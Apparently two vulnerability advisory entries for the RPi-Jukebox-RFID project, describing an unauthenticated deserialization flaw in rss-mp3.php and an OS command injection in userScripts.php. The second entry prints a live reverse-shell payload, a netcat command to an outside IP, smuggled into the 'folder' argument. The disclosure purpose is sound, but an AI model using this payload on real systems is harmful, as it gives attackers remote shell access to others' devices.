An insecure deserialization vulnerability exists in the rss-mp3.php script of the MiczFlor RPi-Jukebox-RFID project through commit 4b2334f0ae0e87c0568876fc41c48c38aa9a7014 (2025-10-07). The 'rss' GET parameter receives data that is passed directly to the unserialize() function without validation. This allows a remote, unauthenticated attacker to inject arbitrary PHP objects, causing the application to process them and leading to errors or a denial of service.
A vulnerability was found in MiczFlor RPi-Jukebox-RFID up to 2.5.0. It has been rated as critical. Affected by this issue is some unknown functionality of the file userScripts.php of the component HTTP Request Handler. The manipulation of the argument folder with the input ;nc 104.236.1.147 4444 -e /bin/bash; leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-251540. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.